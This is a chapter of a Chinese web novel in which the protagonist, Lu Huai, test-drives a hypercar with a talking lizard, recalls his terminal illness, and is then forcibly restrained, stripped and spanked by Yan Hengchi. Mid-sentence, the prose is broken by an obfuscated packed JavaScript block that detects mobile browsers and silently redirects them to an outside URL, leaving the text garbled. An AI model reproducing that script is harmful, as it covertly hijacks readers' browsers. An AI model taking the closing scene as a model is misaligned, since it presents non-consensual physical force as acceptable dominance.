只在表哥嘴里听过这辆身价千万的超跑,陆徊围着停在车库里的车转了两圈,情不自禁伸手碰了碰这辆蛰伏的机械野兽。
“好漂亮……”
“这钻石纹看一万次也不嫌腻,这外观,绝了。”徐逸修站在一旁啧啧称奇,触碰的力度都不敢太重,“超绝北欧极光具现化。”
“钥匙呢?我出去试一圈,你把场清一下。”
“不是哥们儿,刚来就走,也不和兄弟们见见面,你怎么这么心急。”
徐逸修嘴上埋怨,棱形纹路的钥匙扔得倒快,陆徊一把接住。展开车门,他顺势滑进座位,停在原地听了一会儿声浪,一个漂亮的甩尾,冲进了跑道。
“好吧,愿诸神和你并行。”
徐逸修耸耸肩,随意扫了一眼屏幕上空无一人的跑道,哼着歌坐回自己的位置上欣赏刚才保存的Jesko美照去了。
“我觉得我站起来蹬自行车都比你现在这个速度快。”
陆徊正慢吞吞地过弯,把据说最高时速531km/h的车开出了逛菜市场的感觉,胖蜥蜴趴在方向盘上,不由产生出一种错觉:是自己控制不住的体重拖慢了这辆车的速度。
又低头看了看此刻显示30迈的仪表盘,它觉得自己之前那份担心真是多余。
“这辆车真的比视频上好看太多了。”
同样熟悉的装饰和配件,钛金属钥匙在陆徊的注视中微微摇晃,一圈又一圈打散了涟漪,忽然有一只手握住了钥匙,急切地把它往前递了递。
“马上就是你的20岁生日了,我问过医生,如果情况稳定,哥就能带你去坐坐我刚到手的新车!”
“表哥,你又偷偷乱拿零花钱买东西。”
坐在床上的少年翻过一页书,面色透着病态的苍白,眼睛却很亮。他好奇地往窗外探了探头,脸色一变。
“等等——不会是刚才那辆声音巨吵的车吧?”
“我只是试了一下极限模式——哎呀小徊你快点好起来,到时候就能和我一起玩了!我到时候带你试试这辆车的速度,你知道吗,它的尾焰是超帅的蓝色……”
陆徊托着下巴看向表哥投屏出的跑车造型,非常给面子地哇了一声。
“那就希望我快点到20岁,然后重新站起来吧。”
过去的影子慢慢隐去,陆徊捏住钥匙晃了晃,有些出神。
“之前表哥总给我说,如果我病好了,就带我开车去兜风。”
一向会接话的蜥蜴却在此刻有些不同寻常的安静。
“其实我知道这串钥匙是他特地为了我的生日准备的。”陆徊伸手把钥匙拢进手心,好像透过这块冰凉的金属触碰到了家人的温度。
“但是那一年我的情况已经很差了,医生对我家人说,我可能活不到22岁。”
“然后我母亲就故意没有给我过20岁的生日,假装我还是19岁。”
蜥蜴没有说话,眼睛睁得很大,他安静地趴着,像方向盘上的一件装饰品。
“他们可真笨,居然想着能骗过时间……”
分不出情绪的碎碎念消弭在空气里。
在病床上的时间太过漫长,值得纪念的日子太少,每次看到他们推着带着玻璃罩子生日蛋糕进来,陆徊就知道自己又撑过了一年。
“一开始我还能看到我妈来不及掩饰的红眼圈,我哥是一个很沉稳的人,他很少说什么,只是宽慰我没事,带各式各样的医生检查我的病情。”
慢慢思索着那段日子,陆徊拧着眉回忆。
“但是表哥不一样,他每次见我都笑得特别开心,每次都只对我说好消息,似乎在他眼里我下一秒就能从床上下来,和他一起去疯跑。”
长叹一口气,陆徊抹了把眼睛,小心地点了点正在cos雕塑一动不动的蜥蜴。
“但是那天我不小心听到他在门外和别人吵架,说,怎么可能这么没机会了,我年纪才那么小,还没来得及体验一下正常人的一生就要结束了。”
如果按照自己原本的人生,大概也像这个“陆徊”一样,做个无忧无虑的大少爷吧。
“所以真的很谢谢你,会说话的蜥蜴。”陆徊踩了刹车,看向空无一人的周围,慢吞吞地打开了窗户,“我应该是真的已经死了,谢谢你在我临死前编织出的这一场梦,也是体验了一把兔子洞的梦游仙境了。”
“所以你一直觉得这一切都是假的,包括我吗?”
蜥蜴摆摆尾巴,突然开口。
它歪着头看向陆徊,明黄色的虹膜对上了对方黑白分明的眼睛,看到了自己的模样。
“怎么想也不可能真存在这种好事吧,什么蜥蜴会说话、一觉醒来自己突然恢复了健康,能吃到以前吃不到的东西……我刚生病的时候还会这么幻想,现在我长大了,早过了做梦的年纪了。”
摊牌后轻松了不少的陆徊懒洋洋地转了转方向盘,散漫地嗯了一声,脸上流露出一点无所适从的茫然。
“那你怎么看待你周围这些人,比如刚才的徐逸修,再比如严珩驰?”
“不算真人?不算活人?”始终觉得自己只是在梦境里徜徉的陆徊答得很快,“哦或者说,不算个真正活着的男人?”
只是这场梦有些过于漫长和逼真了。
蜥蜴好想突然改换个信仰,他默默在心里给陆徊画了个十字,给什么都不知情的他祈祷。
“算了算了!既然是美梦那你让我先别醒,我是真的想试试这车的速度。”
对着上面的极速模式已经馋了好久,陆徊把蜥蜴捞进手心,努力从记忆里搜刮出一点信息——依稀记得是长按确定键开启来着。
他给自己系好安全带,看了看周围,只能把蜥蜴放进了衣领,嘱咐对方扒紧。
下一秒,强烈的推背感传来,做了半天蜗牛的Jesko犹如一道闪电飞出去,前方的道路瞬间缩小成几条光束聚合的针孔。
呼吸都停顿了几秒的陆徊勉力分出一丝注意力,看了一眼快速下降的油箱指针,再次提速。
这大概是他呼吸最畅快的一次,肾上腺素狂飙,座椅都震得发麻,被静静搁置在旁边的耳塞被
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15978231|177913||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
迫听完了全程引擎的咆哮声。
“……真是一个不可思议的梦。”
已经开始在空白区域里横冲直撞乱跑的陆徊死死压住弯,轮胎滑过地面发出令人牙酸的摩擦声,他充耳不闻,方向一转,原地掉头,再次加重了油门。
视野中出现了终点,携带着滚滚声浪飞驰而来的机械神话不见丝毫减速,直到在不得不掉头的墙壁面前,才传来一声尖利的刹车声。
车身拖拽出一道长长的痕迹,感觉大脑像被锤子重重砸了一下,还有些眩晕的陆徊抖着手试了好几次都没解开安全带,干脆往座椅上一躺,伸手够身前的蜥蜴。
摸了个空。
嗯??
“呦,难为您还知道关心一下我的存在。”
已经黏在后挡风玻璃上半天的胖蜥蜴嘴上阴阳怪气,却怎么都爬不下来,四只腿都软。
“要不是快结束了,真的还想再玩一次。”额前的碎发被风吹得凌乱,半晌都没压下胸膛中那份回荡的爆鸣,陆徊叹口气,看了看已经亮红线的油箱,有些意犹未尽。
“我说真的,如果——”
还没说出口的半句话被肩上骤然压下的力道打断,陆徊吃痛回头,惊悚地对上严珩驰一张黑脸。
“不是吧这也能追过来,梦里的NPC自主能力也太强了……”
管得太多,惹人烦。
陆徊狠狠打开男人的手,一扯安全带,推了一把站在车外不动的男人。
“让开,我要下车。”
没从陆徊脸上看出任何悔改之意的严珩驰冷笑一声,直接把人从车窗里拽了出来,用力掼在了还在发烫的引擎盖上,高扬起手。
“啪!”
沉重的巴掌声落下,狠狠抽在身后柔软饱满的位置,陆徊一呆,懵懵顿住,随即血液直冲大脑。
“严珩驰你是不是找死?松手!放开我!”
一想到可能会有人注意到这里发生的一切,陆徊就羞愤欲死,他疯狂地挣扎着,用力去踹身后那个混蛋,腰间的力道却不减反增,甚至变本加厉,直接扯下了他的裤子。
“你——你敢?严珩驰,你——”
既心虚又害怕,陆徊一手死死抓住自己的衣服,一手往后头乱打一气,结果整个人被握住手腕牢牢抓起来打横按在车上,小腹被迫紧贴着车身,男人的膝盖死死钉住他的腰,动弹不得。
“啪!”
第二声打得又快又狠,肌肤直接接触,抽得陆徊一个哆嗦,感觉下半身都不是自己的了,含在喉咙口的呜咽声怎么也咽不下去,悄悄流出了一小截。
“疼……别,别打了——”
陆徊挣扎的劲儿都被镇压小了许多,男人的手劲太大,明显是动了真怒。木着半边身子,陆徊趴在车前盖上委屈得掉眼泪,从来没被这么对待过的他现在站都站不稳,两条腿直打滑。
薄薄的衣物挡不住严珩驰手上的热度,烫得几乎要把他焚烧殆尽,昏昏沉沉的脑子最后有印象的只有对方一句没有温度的话。
“下次还敢不敢了?”